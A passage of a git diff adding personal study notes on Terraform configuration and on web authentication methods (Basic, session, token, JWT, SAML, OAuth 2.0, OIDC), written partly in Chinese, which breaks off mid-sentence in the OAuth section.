"aws_instance" "example" { + # ... + tags = local.common_tags +} + +resource "aws_instance" "server" { + ami = "ami-123456" + instance_type = "t2.micro" + tags = "${ + merge( + local.common_tags, + map( + "Name", "awesome-app-server", + "Role", "server" + ) + ) + }" +} +``` + + +2. locals 內可以包含 locals 進行多次處理後才給 resource。 + +```bash +# Ids for multiple sets of EC2 instances, merged together +locals { + instance_ids = "${concat(aws_instance.blue.*.id, aws_instance.green.*.id)}" +} + +# A computed default name prefix +locals { + default_name_prefix = "${var.project_name}-web" + name_prefix = "${var.name_prefix != "" ? var.name_prefix : local.default_name_prefix}" +} + +# Local values can be interpolated elsewhere using the "local." prefix. +resource "aws_s3_bucket" "files" { + bucket = "${local.name_prefix}-files" + # ... +} +``` + + + + + + + + + + + +--- + + +# Template + + +## AWS + + +### provision an EC2 instance + +```bash +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 3.27" + } + } + required_version = ">= 0.14.9" +} + +# Configure the AWS Provider +provider "aws" { + profile = "default" + region = "us-west-2" +} + +resource "aws_instance" "app_server" { + ami = "ami-830c94e3" + instance_type = "t2.micro" + + tags = { + Name = "ExampleAppServerInstance" + } +} +# Create a VPC +resource "aws_vpc" "example" { + cidr_block = "10.0.0.0/16" +} + + + +$ terraform plan + +# automatically updates configurations in the current directory for readability and consistency. +$ terraform fmt + +# make sure your configu[[[''\'']]]ation is syntactically valid and internally consistent +$ terraform validate +``` + + +--- + +## GCP + + +```bash + +provider "google" { + project = "acme-app" + region = "us-central1" +} + + +``` + + + + + + + + + + + +. diff --git a/_posts/00Basic/Auth/Authentication.md b/_posts/00Basic/Auth/Authentication.md new file mode 100644 index 00000000000..0f224c04850 --- /dev/null +++ b/_posts/00Basic/Auth/Authentication.md @@ -0,0 +1,3126 @@ +--- +title: Basic - Authentication +# author: Grace JyL +date: 2020-09-23 11:11:11 -0400 +description: +excerpt_separator: +categories: [00Basic, Authentication] +tags: [Basic, Authentication] +math: true +# pin: true +toc: true +# image: /assets/img/sample/devices-mockup.png +--- + +- [Basic - Authentication](#basic---authentication) + - [Different Authentication](#different-authentication) + - [Different use case](#different-use-case) + - [Cookies](#cookies) + - [Tokens](#tokens) + - [Signatures](#signatures) +- [HTTP authentication](#http-authentication) + - [basic](#basic) + - [Authentication Type/schemes](#authentication-typeschemes) + - [`Basic authentication scheme`](#basic-authentication-scheme) + - [step:](#step) + - [drawbacks](#drawbacks) + - [Security of basic authentication](#security-of-basic-authentication) + - [Proxy authentication](#proxy-authentication) + - [Authentication of cross-origin images](#authentication-of-cross-origin-images) +- [Session-based authentication](#session-based-authentication) + - [step](#step-1) +- [Token-based authentication](#token-based-authentication) + - [characteristics of token](#characteristics-of-token) + - [token and password](#token-and-password) + - [token based authentication strategies](#token-based-authentication-strategies) + - [JWT, JSON web tokens](#jwt-json-web-tokens) + - [SAML](#saml) + - [OAuth - Open Authorization 开放授权](#oauth---open-authorization-开放授权) + - [OAuth 2.0 术语表](#oauth-20-术语表) + - [Scope 授权范围](#scope-授权范围) + - [OAuth 2.0 配置](#oauth-20-配置) + - [authorization grant](#authorization-grant) + - [授权码 `AUTHORIZATION_CODE` -\> response\_type=code](#授权码-authorization_code---response_typecode) + - [隐藏式 `implicit` -\> response\_type=token](#隐藏式-implicit---response_typetoken) + - [密码式 `password` -\> grant\_type=password](#密码式-password---grant_typepassword) + - [第四种方式:凭证式 `client credentials` -\> token](#第四种方式凭证式-client-credentials---token) + - [令牌的使用](#令牌的使用) + - [**更新令牌** `refresh_token` -\> token](#更新令牌-refresh_token---token) + - [example](#example) + - [OAuth2 Proxy](#oauth2-proxy) + - [oauth2 proxy with Github](#oauth2-proxy-with-github) + - [基于k8s部署的nginx服务 通过ingress和oauth2 proxy对接gitlab](#基于k8s部署的nginx服务-通过ingress和oauth2-proxy对接gitlab) + - [在Gitlab配置**OpenID应用**](#在gitlab配置openid应用) + - [生成**Cookie密钥**](#生成cookie密钥) + - [部署**oauth2-proxy**](#部署oauth2-proxy) + - [创建测试应用并配置Ingress](#创建测试应用并配置ingress) + - [测试外部认证](#测试外部认证) + - [流程分析](#流程分析) + - [OpenID](#openid) + - [OpenID Connect(OIDC) 协议](#openid-connectoidc-协议) + - [OAuth2 vs OIDC](#oauth2-vs-oidc) + - [basic](#basic-1) + - [OIDC的好处](#oidc的好处) + - [OIDC相关的协议](#oidc相关的协议) + - [OIDC核心规范](#oidc核心规范) + - [协议流程](#协议流程) + - [声明(Claim)](#声明claim) + - [ID Token](#id-token) + - [授权](#授权) + - [Authorization code 授权码方式](#authorization-code-授权码方式) + - [授权步骤](#授权步骤) + - [身份验证请求](#身份验证请求) + - [授权响应](#授权响应) + - [获取Token](#获取token) + - [验证Token](#验证token) + - [获取用户信息 UserInfo](#获取用户信息-userinfo) + - [Implicit 隐式授权](#implicit-隐式授权) + - [授权步骤](#授权步骤-1) + - [授权请求](#授权请求) + - [授权响应](#授权响应-1) + - [混合授权](#混合授权) + - [授权步骤](#授权步骤-2) + - [授权请求](#授权请求-1) + - [授权响应](#授权响应-2) + - [example](#example-1) + - [通过 OIDC 协议实现 SSO 单点登录](#通过-oidc-协议实现-sso-单点登录) + - [创建自己的用户目录](#创建自己的用户目录) + - [架设自己的 OIDC Provider](#架设自己的-oidc-provider) + - [在 OIDC Provider 申请 Client](#在-oidc-provider-申请-client) + - [修改配置文件](#修改配置文件) + - [启动 node-oidc-provider](#启动-node-oidc-provider) + - [编写第一个应用](#编写第一个应用) + - [编写第二个应用](#编写第二个应用) + - [向 OIDC Provider 发起登录请求](#向-oidc-provider-发起登录请求) + - [Web App 从 OIDC Provider 获取用户信息](#web-app-从-oidc-provider-获取用户信息) + - [登录第二个 Web App](#登录第二个-web-app) + - [登录态管理](#登录态管理) +- [compare](#compare) + + + + + +--- + + +# Basic - Authentication + +认证(Authentication):通过认证以确定用户身份,认证可以理解为用户登录过程。 +授权(Authorization):给用户分配可权限,以确定用户可访问的资源范围。授权的前提是要确认用户身份,即先认证,再授权。 + +各种应用都需要做用户验证。最简单的方式是在本地维护一个数据库,存放用户账户和证书等数据。这种方式对于业务来说可能会不太友好: + +注册和账户创建过程本来就很无聊。对于很多电商网站来说,它们会允许非登陆用户添加购物车,然后让用户下单时再注册。乏味的注册流程可能会导致很多用户放弃购买。 +对于那些提供多个应用的企业来说,让各个应用维护各自的用户数据库,不管从管理还是安全层面来说,都是一个很大的负担。 +对于这个问题,更好的方案是将用户认证和授权这些事情交给专门的identity provider(idp)服务来处理。 + +google、facebook、twitter这些大厂,就为它们的注册用户提供了这类idp服务。一个网站可以通过使用这类idp服务来极大简化用户的注册和登录流程。 + + + +--- + + +## Different Authentication + +1. HTTP authentication: `username and passwd` are sent in each request +2. Session based authentication: `session id` are sent in each request +3. Token based authentication: `token` are sent in each request + + +## Different use case + +- to support a **web application** only + - either `cookies` or `tokens` are fine + - for cookies think about XSRF, + - for JWT take care of XSS. + +- to support both a **web application and mobile client** + - go with an API that supports `token-based authentication`. + +- If building **APIs** that communicate with each other + - go with `request signing`. + + + + +```yaml +# OAuth2.0 +https://b.com/oauth/authorize? + response_type=code # 告知了授权服务端用授权码来响应 + &client_id=your_client_id + # scope=read + &scope=profile%20contacts # 客户端请求能够访问该用户公共主页和联系人的用户许可 + &redirect_uri=CALLBACK_URL + + +# OpenID Connect 认证请求 URI +https://accounts.google.com/o/oauth2/v2/auth? + response_type=code + &client_id=your_client_id + &scope=openid%20contacts + &redirect_uri=https%3A//oauth2.example.com/code + +``` + + + + +--- + + +### Cookies + +Cookies +- When a server receives an `HTTP request` in the response, it can send a `Set-Cookie` header. +- The browser puts it into a cookie jar, and the cookie will be sent along with every request made to the same origin in the `Cookie HTTP header`. + +To use cookies for authentication, few key principles must follow. + +1. Always use `HttpOnly` cookies + - To mitigate the possibility of XSS attacks + - use the `HttpOnly` flag when setting cookies. + - This way cookies won't show up in `document.cookies`. + +2. Always use `signed` cookies + - With signed cookies, a server can tell if a cookie was modified by the client. + + +Cookies can be observed in Chrome +- how a server set cookies: + +![illustration of Chrome cookie set for web authentication purposes](https://i.imgur.com/VubG0Xs.png) + +- Later on, all the requests use the cookies set for the given domain: + +![web authentication method illustration Chrome cookie usage](https://i.imgur.com/cEM2xQw.png) + + +The cons: +1. Need to make extra effort to mitigate `CSRF attacks` +2. Incompatibility with REST - as it introduces a state into a stateless protocol + + +--- + +### Tokens + + + +--- + +### Signatures + +> cookies or tokens, +> if the transport layer for whatever reason gets exposed, credentials are easy to access, the attacker can act like the real user. + +**sign each request**. +- A possible way to solve + - at least when we are talking about APIs and not the browser + +When a consumer of an API makes a request `it has to sign it` +- meaning it has to create a hash from the entire request using a private key. + +For that hash calculation you may use: +- HTTP method +- Path of the request +- HTTP headers +- Checksum of the HTTP payload +- and a private key to create the hash + +To make it work, both the consumer of the API and the provider have to have the same private key. +- Once have the signature, have to add it to the request, either in query strings or HTTP headers. +- Also, a date should be added as well, so you can define an expiration date. + +AWS Request Signing: Flow of a Web Authentication Method: + +![aws_request_signing_flow_of_a_web_authentication](https://i.imgur.com/fLUPjQr.png) + +go through all these steps, even if the transport layer gets compromised, an attacker can only read your traffic, won't be able to act as a user, as the attacker will not be able to sign requests +- as the private key is not in his/her possession. +- Most AWS services are using this kind of authentication. + +`node-http-signature` deals with HTTP Request Signing and worth checking out. + +The cons: +- Cannot use in the browser / client, only between APIs +- One-Time Passwords + - One-Time passwords algorithms + - generate a one-time password with a shared secret and either the current time or a counter: + - `Time-based One-time Password Algorithm`, based on the current time, + - `HMAC-based One-time Password Algorithm`, based on a counter. + +These methods are used in applications that leverage two-factor authentication: +- a user enters the username and password then both the server and the client generates a one-time password. + +In Node.js, implementing this using notp is relatively easy. + +Cons: +- with the shared-secret (if stolen) user tokens can be emulated +- because clients can be stolen / go wrong every real-time application have methods to bypass this, like an email reset that adds additional attack vectors to the application + + +--- + + +# HTTP authentication + +## basic + +server: +- `WWW-Authenticate` and `Proxy-Authenticate` headers +- The `WWW-Authenticate` and `Proxy-Authenticate` response headers **define the authentication method that should be used** to gain access to a resource. +- must specify which authentication scheme is used, so the client knows how to provide the credentials. + +- The syntax for these headers: + + ```html + WWW-Authenticate: realm= + Proxy-Authenticate: realm= + ``` + + - `` is the **authentication scheme** + - `Basic` : the most common scheme and introduced below + + - `realm` : describe the protected area or to indicate the scope of protection. + - a message like "Access to the staging site" or similar + - so that the user knows to which space they are trying to get access to. + + +client: +- `Authorization` and `Proxy-Authorization` request headers +- contain the credentials to authenticate a user agent with a (proxy) server +- `` is needed again +- `credentials`: be encoded or encrypted depending on which authentication scheme is used. + + ```html + Authorization: 12345678 + Proxy-Authorization: 123456 + ``` + +--- + +## Authentication Type/schemes +The general HTTP authentication framework is used by several authentication schemes. +- Schemes can differ in security strength and in their availability in client or server software. +- there are other schemes offered by host services, such as Amazon AWS. + +| Schemes | Note | +| ------------------ | ------------------------------------------------------------------------------------------------- | +| `Basic` | RFC 7617, **base64-encoded** credentials. | +| `Bearer` | See RFC 6750, bearer tokens to access OAuth 2.0-protected resources | +| `Digest` | See RFC 7616, only md5 hashing is supported in Firefox, see bug 472823 for SHA encryption support | +| `HOBA` | See RFC 7486, Section 3, HTTP Origin-Bound Authentication, digital-signature-based | +| `Mutual` | See RFC 8120 | +| `AWS4-HMAC-SHA256` | See AWS docs | + +--- + + +## `Basic authentication scheme` + +![Basic authentication](https://i.imgur.com/W4lnwIN.png) + +- transmits credentials as user `ID/password` pairs, encoded using `base64`. + +- the simplest possible way to enforce access control + - as it `doesn't require cookies, sessions or anything else`. + + +- the client + - provide username and password when making a request. + - has to send the `Authorization` header along with every request it makes. +- the exchange must happen over an **HTTPS (TLS) connection** to be secure. + +- The username and password are not encrypted, but constructed this way: + 1. username and password are concatenated into a single string: `username:password` + 2. this string is encoded with `Base64` + 3. the Basic keyword is put before this encoded value + +--- + +### step: + +![HTTPAuth](https://i.imgur.com/HMO7vyi.png) + +1. client access come protected URL: `https://some.url` + +2. server check the request has `Authorization header` with `valid usrname and passwd` + + ``` + HTTTP/1.1 401 Unauthorized + Date: Sat, 16 May 2020 16:50:53 GMT + WWW-Authenticate: Basic realm="MyApp" + ``` + + - The server responds to a client with a `401 (Unauthorized) response status` and provides information on how to authorize with a WWW-Authenticate response header containing at least one challenge. + - `401 Unauthorized`: invalid, authentication is impossible for this user. + - `200 OK`: exist and valid + - `403 forbidden`: valid credentials that are inadequate to access a given resource + - `407 (Proxy Authentication Required)`: authentication is impossible for this user. + - realm: + - protection space: + - group of pages use the same credential. + - browser can cache the calid credentials for given realm and use them in future + - "free text": + - server is responsible for defininf realms and do the authentication + + +3. browser notice the `WWW-Authenticate` header in response: + - show the windoW + - presents the alert for credentials + + +4. user submit username and passwd. + + +5. browser encode it with `base64` and sends in the next request + - Browsers use `utf-8` encoding for usernames and passwords. + - `base64("username:passwd")` + - send a `Authorization` request header with the credentials. + + +6. server do step 2 again + + +Example + +``` +curl --header "Authorization: Basic am9objpzZWNyZXQ=" my-website.com +``` + +The same can be observed in Chrome + +![google_chrome_basic_web_authentication_method-1448359567226](https://i.imgur.com/V1x3yw7.png) + +Implementing in `Node.js` + +```js +import basicAuth from 'basic-auth'; + +export default function auth(req, res, next) { + const {name, pass} = basicAuth(req) || {}; + + if (!name || !pass) return unauthorized(res); + if (name === 'john' && pass === 'secret') return next(); + return unauthorized(res); +}; + +function unauthorized(res) { + res.set('WWW-Authenticate', 'Basic realm=Authorization Required'); + return res.send(401); +}; +``` + +--- + +### drawbacks +1. the **username and password are sent with every request** + - not secure unless used with TLS/HTTPS. + - anyone can eavesdrop and decode the credentials. + - potentially exposing them + - even sent via a secure connection connected to SSL/TLS, if a website uses weak encryption, or an attacker can break it, the usernames and passwords will be exposed immediately +2. **no way to log out** the user using Basic auth +3. expiration of credentials is not trivial + - have to ask the user to change password to do so + +--- + +### Security of basic authentication + +the user ID and password are passed over the network as clear text +- base64 encoded, but is a reversible encoding +- the `basic authentication scheme` is not secure. +- HTTPS/TLS should be used for basic authentication. + - Without additional security enhancements + - basic authentication should not be used to protect sensitive or valuable information. + +1. Restricting access with `Apache` and basic authentication + + - To password-protect a directory on an Apache server + - need a `.htaccess` and a `.htpasswd` file. + - `.htpasswd file`: + - each line consists of a username and a password + - separated by a colon (:). + - the passwords are hashed (MD5-based hashing) + - can name the `.htpasswd file` differently + - but keep in mind this file shouldn't be accessible to anyone. + - Apache usually configured to prevent access to `.ht* files` + + + ``` + .htaccess file: + + AuthType Basic + AuthName "Access to the staging site" + AuthUserFile /path/to/.htpasswd + Require valid-user + ``` + + ``` + .htpasswd file : + + aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. + user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ + ``` + +2. Restricting access with `nginx` and basic authentication + 1. a `location` going to protect + 2. the `auth_basic directive`: provides the name to the password-protected area. + 3. The `auth_basic_user_file directive` : points to a `.htpasswd file` containing the encrypted user credentials, just like Apache + + ``` + location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; + } + ``` + +3. Avoid access using `credentials in the URL` + - Many clients can avoid the login prompt by using an `encoded URL` containing the credentials + - `https://username:password@www.example.com/` + - The use of these URLs is deprecated. + - In Chrome, the `username:password@` part in URLs is even stripped out for security reasons. + - In Firefox, it is checked if the site actually requires authentication and if not, + - Firefox will warn the user with a prompt + - "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you." + + + +--- + +## Proxy authentication + +The same challenge and response mechanism can be used for proxy authentication. + +- As both resource authentication and proxy authentication can coexist +- but different set of `headers` and `status codes` is needed. + +1. the challenging status code is `407 (Proxy Authentication Required)` + - the `Proxy-Authenticate` response header + - contains at least one challenge applicable to the proxy + - used for providing the credentials to the proxy server. + + + +## Authentication of cross-origin images +security hole recently been fixed by browsers is `authentication of cross-site images`. +- From Firefox 59 +- **image resources loaded from different origins to the current document** are no longer able to trigger `HTTP authentication dialogs` (bug 1423146), +- preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page. + + + +--- + + +# Session-based authentication + +![session-base](https://i.imgur.com/9PNfrgQ.png) + +client sends the **session id** in all the request, and server uses it to identify the user. + +- a stateful authentication method +- as the server need it to be implemented + +--- + +## step + +1. client: sent the login request + +2. server: `creates and stores the session data` in the **server memory** after the user logs in + - some random unique identifier to identify the user + +3. client: the `session id` also stores in a **cookie on the user browser**. + - store in cookie if cokkies enabled + - or somewhere else, e.g. in `local/session storage` + - The `session Id` is sent on subsequent requests to the server + +4. server: compares it with the `stored session data` and proceeds to process the requested action. + +5. server: + - when user logout, the session is destroyed + - cookie removed and session removed from the server + - same session ID can not be reused + +``` +1. client +https://someurl/login (username:passwd) + +2. server +session ID: 123456 + +3. client stored it + +4. silent send request with session id +https://someurl/login (session id:123456) + +5. server check the session id +- 200 ok +- 401 unauthorized +``` + +![Screen Shot 2020-09-24 at 00.36.44](https://i.imgur.com/RWalJf8.png) + +![Screen Shot 2020-09-24 at 00.36.54](https://i.imgur.com/3nF9a8H.png) + +![Screen Shot 2020-09-24 at 00.37.27](https://i.imgur.com/NBesRsm.png) + +![Screen Shot 2020-09-24 at 00.37.40](https://i.imgur.com/k4Ajzfo.png) + +![1_Hg1gUTXN5E3Nrku0jWCRow](https://i.imgur.com/8w0haoq.png) + + +--- + + + + + + +# Token-based authentication + +![token-based](https://i.imgur.com/HKxHiDr.png) + +**token** + +- the `user state is stored inside the token` **on the client side**. + +- token is a normal `URL-safe string` + - can be pass in header, body, or URL + - most of the time sent by HTTP headers, not cookies + - not only for browser, but also app. + - the preferred mode of authentication for `RESTful APIs`. + +- token is `self-contained` + - contains session info and user info as well + - carries the data + +- anyone can view the contained + +- as a standard + +- use when interact between multiple untrsuted parties: + - bank - app - user + +- have lifetime + +- can grant access to only a subset of data + - one `token` for one `API` + - just give specific right: make transaction, just search ... + + +token has 3 part: `header.payload.signature` +- `header`: + - string generated using `base64(tokenMetadata)` + - token's Metadata + ``` + { + "typ":"jwt", + "alg":"HS256", + } + ``` + +- `payload`: + - string generated using `base64(ourDatas)` + - ourDatas: data that want to embed in the token (aka JWT Claims) + - these are called `claims` + - 3 type of `claims` + - Registered claims + - ![Registered claims](https://i.imgur.com/KHBHULL.png) + - Public claims + - claims to defines and use for our own data + - e.g. userid, email... + - Private claims + - names without meaning except the consumer and producer of tokens + ``` + { + "userid":"123", + "email":"234", + } + ``` + +- `signature`: + - string generated by hashing the header+payload with a secret + - `HMACSHA256(header + ',' + payload, 'secret')` + - `secret`: held at server and used to generate and verify tokens + +![1_PDry-Wb8JRquwnikIbJOJQ](https://i.imgur.com/jtgGEVO.png) + + +![Screen Shot 2020-09-24 at 00.42.22](https://i.imgur.com/c4WAwrS.png) + +1. client send credentials to generate a token +2. server validate the credentials: + - `422`: unprocessable entity + - `200`: ok + `token in body or header` + - the user data is encrypted into a `JWT (JSON Web Token)` with a `secret` + - and then sent back to the client. +3. The `JWT` stored on the client-side in `localStorage/cookie` and sent as a `header` for every subsequent request. +4. The server validates the `JWT` before proceeding to send a response to the client. + - `401`: unauthorized + - `200`: ok + `token in body or header` + +``` +headers:{ +"Authorization": "Bearer ${JWT_TOKEN}" +} +``` + + +--- + + +## characteristics of token + +1. random string +2. server does not store it (stateless) +3. has an expiry, then token is useless +4. normally sighed with a secret so to identify any tampering and thus can be trusted by the server +5. normally sent in the authorization header +6. can be `Opaque` or `Self-contained` + - `Opaque` + - random string, no meaning + - can only be verfied by the authorization server + - just like session ids + - `Self-contained` + - token has the data and can be reviewd by the clients + - e.g. JWT tokens + + +### token and password + +token and password 的作用是一样的,都可以进入系统,但是有三点差异。 +- 令牌是短期的,到期会自动失效,用户自己无法修改。 + - 密码一般长期有效,用户不修改,就不会发生变化。 +- 令牌可以被数据所有者撤销,会立即失效。以 + - 可以随时取消令牌。密码一般不允许被他人撤销。 +- 令牌有权限范围 scope + - 比如只能进小区的二号门。 + - 对于网络服务来说,只读令牌就比读写令牌更安全。 + - 密码一般是完整权限。 + +- 注意,只要知道了令牌,就能进入系统。 + - 系统一般不会再次确认身份,所以令牌必须保密,泄漏令牌与泄漏密码的后果是一样的。 + - 这也是为什么令牌的有效期,一般都设置得很短的原因。 + +**OAuth 2.0 的优点** +- 令牌既可以让第三方应用获得权限,同时又随时可控,不会危及系统安全。 +- OAuth 2.0 对于如何颁发令牌的细节,规定得非常详细。具体来说,一共分成四种授权类型(authorization grant),即四种颁发令牌的方式,适用于不同的互联网场景。 + + + +--- + +## token based authentication strategies + +emaple of token based authentication strategies + +- SWT, simple web tokenss + +- JWT, JSON web tokens + +- SAML, security assertions markup language + +- **OAuth**, open authorization + +- **OAuth2.0** + - 向第三方系统提供授权(访问自身)服务的协议规范。 + - 通过向第三方系统提供Token,以便在不向第三方系统提供自身密码的情况下,授权第三方系统访问自身的部分服务。 + - 有两种 OAuth 2.0 授权流程最为常见: + - 服务端应用程序的`授权码流程` + - 和 基于浏览器的应用程序的`隐式流程`。 + - OpenID Connect 是 OAuth 2.0 协议之上的标识层,以使 OAuth 适用于认证的用例。 + +- **OpenID、OpenID Connect(OIDC)** + - 提供第三方认证的协议规范(单点登录SSO),即一个认证服务和多个业务应用。 + - 用户在认证中心登录,业务应用通过认证中心接口获取用户身份信息 + - 典型场景为企业内部Web系统集成单点登录,典型的有CAS。 + + + OAuth 解决了代理授权的问题,但是它没有提供一个认证用户身份的标准方法 +- OAuth 2.0 用于**授权** +- OpenID Connect 用于**认证** + + + +--- + + +### JWT, JSON web tokens + +- form of token based authentication + +- based on an Open Standard + +- JWT (JSON Web Token) is everywhere + +- JWT consists of three parts: + - `Header`, containing the type of the token and the hashing algorithm + - `Payload`, containing the claims + - `Signature`, which can be calculated as follows if you chose HMAC SHA256: + - `HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)` + +Adding JWT to Koa applications: + +```js +var koa = require('koa'); +var jwt = require('koa-jwt'); +var app = koa(); + +app.use( + jwt( + {secret: 'very-secret'} + ) +); + +// Protected middleware +app.use( + function *(){ + // content of the token will be available on this.state.user + this.body = { + secret: '42' + }; +}); +``` + +Example usage - (to check out the validity/content of the token, you can use `jwt.io`): + +```baSH +curl --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" my-website.com +``` + + +tokens can be observed in Chrome + +![google_chrome_json_web_token_as_a_web_authentication](https://i.imgur.com/f6P96PY.png) + +Google Chrome JSON Web Token as a web authentication method + +when writing APIs for native mobile applications or SPAs, JWT can be a good fit. +to use JWT in the browser have to stored in either `LocalStorage` or `SessionStorage`, can lead to XSS attacks. + +The cons: +- Need to make extra effort to mitigate XSS attacks + + + +--- + +### SAML + +> SAML +> Security Assertion 断言 Markup Language + +![Saml-Authentication-Final](/assets/img/Saml-Authentication-Final.png) + +![Pasted Graphic](/assets/img/Pasted%20Graphic.png) + +- Security Assertion Markup Language (SAML) + +- This `single sign-on (SSO) login standard` has significant advantages over logging in using a username/password, to use this information to log users in to other applications, such as web-based applications, one way of doing this is by using **SAML**. + +- a standard for logging users into applications based on their sessions in another context. + +- an open standard that defines a XML-based framework for `exchanging authentication and authorization information` between an `identity provider (IdP)` and a `service provider (SP)`, to enable web-based single sign-on (SSO) and identity federation. + +- An XML-based markup language, much like HTML. + - HTML: defining web page elements + - SAML: It uses tags, defines security authorization. + - used to exchange authentication and authorization information between identity providers and service providers. + +- SAML commly used for + - federated identity management across mulyiple organizations. + - federation / web browser single sign-on implementations. + - Allows an application to securely authenticate a user by receiving credentials from a web domain. + - (TACACS+, RADIUS, Kerberos cannot do this)!!! + + +![Pasted Graphic 1](/assets/img/Pasted%20Graphic%201.jpg) + + + +- An SSO solution used for web-based application. + +- Example: + +- A secure web portal accessible to user by username and password, use SAML to support authentication. + - `Portal`: service provider, request an authentication assertion + - `back-end networks`: function as an identity provider and issue an authentication assertion + +- SAML在单点登录中大有用处: + - 在SAML协议中,一旦用户身份被主网站(身份鉴别服务器,Identity Provider,IDP)认证过后,该用户再去访问其他在主站注册过的应用(服务提供者,Service Providers,SP)时,都可以直接登录,而不用再输入身份和口令。 + + +- 用户登录SP,SP向IDP发起请求来确认用户身份为例子 + - 比如SP是Google的Apps,IDP是一所大学的身份服务器,Alice是该大学的一名学生。 + +![3297585-50f9c9530cef962d](/assets/img/3297585-50f9c9530cef962d.png) + +--- + +### OAuth - Open Authorization 开放授权 + +- ref: + - [https://luvletter.cn/blog/使用oauth2-proxy保护你的应用/](https://luvletter.cn/blog/使用oauth2-proxy保护你的应用/) + - [https://www.ruanyifeng.com/blog/2019/04/oauth_design.html](https://www.ruanyifeng.com/blog/2019/04/oauth_design.html) + - https://oauth.net/2/ + - https://kubernetes.github.io/ingress-nginx/examples/auth/oauth-external-auth/ + - https://oauth2-proxy.github.io/oauth2-proxy/docs/ + - [https://energygreek.github.io/2020/07/23/oauth2/](https://energygreek.github.io/2020/07/23/oauth2/) + + +> OAuth 引入了一个授权层,用来分离两种不同的角色:**客户端** 和 **资源所有者** +> `资源所有者`同意以后,`资源服务器`可以向`客户端`颁发令牌。`客户端`通过令牌,去请求数据。 + + + +**代理授权** +- 代理授权是一种允许第三方应用访问用户数据的方法。 +- 有两种`代理授权`的方式: + - 一是你将账号密码提供给第三方应用,以便它们可以代表你来登陆账号并且访问数据; + - 二是你通过 OAuth 授权第三方应用访问你的数据,而无需提供密码。(我相信我们都不会选择交出我们的密码!) + + +**OAuth** + +- 开放授权 + +- 一个用于代理授权的标准协议。 + - 允许应用程序在不提供用户密码的情况下访问该用户的数据。 + +- 一种 授权机制 + +- **数据的所有者**告诉系统,同意**授权第三方应用**进入系统,获取这些数据。 + - allow users to share their private resources to a third party + - allow some app log you in using twitter + - expose your twitter info to an external app using `twitter's OAuth server` + - authorizing you app's frontend from your API + - your `custom OAuth server`: where user of your website get authorized using `OAuth` + + +- **系统**从而产生一个短期的`进入令牌token`,用来代替密码,供**第三方应用**使用。 + +- 2 version: + - OAuth1.0, + - OAuth12.0(active, not backward compatible), + - OAuth12.1 + + +**OAuth 2.0** +- OAuth 2.0是用于授权的 行业标准协议 。 +- OAuth 2.0致力于 + - 简化客户端开发人员的工作 + - 同时为Web应用程序,桌面应用程序,移动电话和客厅设备提供特定的授权流程。 + +- OAuth 2.0是目前最流行的授权机制,用来授权第三方应用,获取用户数据。 + +- oauth2 是依赖第三方的认证方式, + +**应用场景** +- 很多情况下,许多应用程序不提供内置的身份验证或开箱即用的访问控制。 +- 由于这些应用程序处理的敏感数据,这可能是一个主要问题,通常有必要提供某种类型的安全性。 +- 基于k8s部署的一些服务,并没有自身的访问认证控制机制。 +- 例如 + - 部署一个用于公司内部使用的web应用 + - 不想做基于统一账号SSO的认证功能的开发 + - 但是又想在用户访问时加上一层认证功能。 + - 这类情况的解决思路一般是在访问入口,例如Ingress上添加一层访问认证 + - 可以借助于basic auth实现此功能,但basic auth存在过于简单、账号权限不好控制、需要手动维护等诸多问题。 + - 另外一种相对更为成功的解决办法是使Ingress通过OAuth对接到能够提供支持oauth认证的外部服务,例如github、gitlab。这种方式没有对应用程序的代码侵入,仅仅在应用入口添加了配置。 + +- 玩游戏的时候弹出QQ登录,微信登录。 + - `游戏运营商`并不需要用户注册 + - `游戏运营商`直接从QQ或者微信那里获取用户的**OPENID** + - `游戏运营商`存储并通过**OPENID**来识别用户 + - `有资质的游戏运营商`还可以通过玩家的openid来获取用户的信息, 例如用户的手机号,网名,年龄等信息。 + - 有资质这个是有QQ和微信来决定的,游戏运营商需要先去腾讯那里注册认证。腾讯愿意给游戏运营商分享多少信息是腾讯说了算。 + - 以QQ登录为例 + - 玩家登录游戏时 + - `游戏运营商`先让用户访问QQ的auth2服务器,并带上游戏运营商的id。 + - 待QQ认证后会回调`游戏运营商注册的回调接口 一般为oauth/callback`,带上用户的openid。 这样游戏运营商就知道是谁登录了。 + - 如果游戏运营商需要更多用户资料时,例如注册,游戏运营商可以通过QQ的查询接口,密钥以及用户的openid 去查询, 拉取到用户信息。 + - 如果资料不全, 再让玩家补充,例如输入身份证号。这应该国家不准腾讯向别人分享的,必须要用户自己输入。。 + + + +**grant types** +- token response in all grant types is normally accompanied by an `expiry date` and a `refresh token` (to refresh the token when expired) + +![Screen Shot 2020-09-24 at 01.37.09](https://i.imgur.com/kBixqIO.png) + +![Screen Shot 2020-09-24 at 01.39.33](https://i.imgur.com/RhXzwxG.png) + +--- + +#### OAuth 2.0 术语表 + +- 资源所有者(Resource Owner):拥有客户端应用程序想要访问的数据的用户。 +- 客户端(Client):想要访问用户数据的的`应用程序` +- 授权服务端(Authorization Server):通过用户许可,授权客户端访问用户数据的授权服务端。 +- 资源服务端(Resource Server):存储客户端要访问的数据的系统。在某些情况下,资源服务端和授权服务端是同一个服务端。 +- 访问令牌:访问令牌是客户端可用于访问资源服务端上用户授权的数据的唯一密钥。 + +![Screen Shot 2022-07-10 at 02.08.16](https://i.imgur.com/28XqHEN.png) + +授权密钥(Authorization Key)或者权限(Grant)可以是授权码或者令牌的类型。 + +授权的流程 **用户在不提供密码的情况下,允许第三方应用访问用户数据** +- 用户通过点击按钮启动整个授权流程。这个按钮通常类似于“谷歌登陆“、”Facebook 登陆“或者通过其他的应用登陆。 +- 然后客户端将用户`重定向`到授权服务端。在重定向的过程中,客户端将类似客户 ID、重定向 URI 的信息发送给授权服务端。 +- 